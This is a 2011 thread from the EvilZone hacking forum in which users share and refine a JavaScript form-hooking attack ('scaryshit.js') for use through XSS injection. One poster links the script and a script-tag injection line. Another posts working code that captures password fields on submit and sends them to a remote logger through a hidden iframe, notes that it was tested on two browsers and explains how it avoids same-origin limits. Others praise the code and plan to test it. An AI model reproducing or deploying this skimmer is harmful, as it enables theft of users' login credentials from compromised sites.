EvilZone

Hacking and Security => Hacking and Security => : neusbeer November 15, 2011, 07:24:30 PM

: scaryshit.js
: neusbeer November 15, 2011, 07:24:30 PM
I found this.. didn't had the time for checking it yet.
http://h.ackack.net/download/mathias-karlsson/javascript/scaryshit-js (http://h.ackack.net/download/mathias-karlsson/javascript/scaryshit-js)


It enables writing a given password to a log file when a user submits a
password field.


Description: A Javascript that hooks forms including password fields and sends them to a logger trough a GET HTTP Request using AJAX when the user submits.


Think of the possibilities with XSS or even RFI/LFI.
I'm gonna give it a try next week when I have some more spare time,
change the code a bit.
and inject it in to a page with ....
<script src="http://downloads.ackack.net/scaryshit.js"></script>


I think it's gonna work.. and that's far more better than receiving cookie info with XSS. linking the log to your own server somewhere (with chmod 775 ofcourse :P)
: Re: scaryshit.js
: Kulverstukas November 15, 2011, 08:26:13 PM
whoa now this looks really nice. XSS just got scarier :D
: Re: scaryshit.js
: FuyuKitsune November 15, 2011, 11:42:49 PM
It seems pretty easy, I'm surprised it hasn't been done before.

Interesting method. Why setTimeout? Does that allow it to run immediately after the form submits?
: Re: scaryshit.js
: xzid November 16, 2011, 04:56:04 AM
This is very simple, just grab info + iframe.

I see no advantage to using XMLHttpRequest over an iframe, and one big drawback. Also this script fails on my ie8 and AJAX makes the rest of them suck.

:
var form = document.forms[0]; // or loop, w/e
var logger = "http://localhost/log.php?passwd=";

form.onsubmit = function() {
    var passwd;
    // or grab all <input>'s, pass is sufficient here
    for(var i = 0; i < form.elements.length; i++)
        if(form.elements[i].type == "password")
            passwd = form.elements[i].value;
    if(passwd) {
        var frame = document.createElement("iframe");
        frame.setAttribute("src", logger + escape(passwd));
        frame.setAttribute("style", "display: none;");
        if(document.all)
            frame.onreadystatechange = function() {
            if(frame.readyState == 'complete')
                form.submit(); }
        else
            frame.onload = function() { form.submit(); }   
        document.body.appendChild(frame);
        return false; }
    return true; }
// like my indentation?

Would need tampering, but tested successful on ie8/firefox7.

It seems pretty easy, I'm surprised it hasn't been done before.
It has.
: Re: scaryshit.js
: neusbeer November 16, 2011, 07:48:34 AM

thnxs for the input xzid.. gonna have a look at that one..
what's the big drawback?


My knowlegde with ajax is low, so have to figure it all out..
doesn't seems to difficult../
xzid's code far more shorter


gonna check it out tonight..
: Re: scaryshit.js
: xzid November 16, 2011, 08:06:09 AM
thnxs for the input xzid.. gonna have a look at that one..
what's the big drawback?

http://en.wikipedia.org/wiki/Same_origin_policy (http://en.wikipedia.org/wiki/Same_origin_policy)

Of course there are workarounds, although xmlhttprequest shouldn't be able to access remote webpages(where your logger is likely located). An iframe has no such restrictions:

<iframe src="http://remote/logger.php?passwd=mypass"></iframe>
: Re: scaryshit.js
: neusbeer November 16, 2011, 09:08:39 AM
ahh ofcourse..
if you have writing acces to that specific server you can write it own the server itself and try to download it.
But the idea you mentioned is even better indeed.
That Iframe idea.. I'm don't have a lot of skills wit iframe.. soo next goal, learning and understanding iframes and stuff.. also used wich clickjacking, so it woulnd't be wasted time to get to know that better.
I'm gonna set up a small testing environment tonight and gonna try it.
: Re: scaryshit.js
: bubzuru November 16, 2011, 06:24:24 PM
xzid +1 for the code

gunna test it later
: Re: scaryshit.js
: bubzuru November 16, 2011, 08:07:02 PM
and +1 for you neusbeer , i like your posts
: Re: scaryshit.js
: ande November 26, 2011, 09:40:07 PM
Haha, that is brilliant. Sometimes I really do wonder why I haven't thought of things like this. +1
: Re: scaryshit.js
: _ANONYMOUS_ December 14, 2011, 05:29:06 PM
Nice  ;D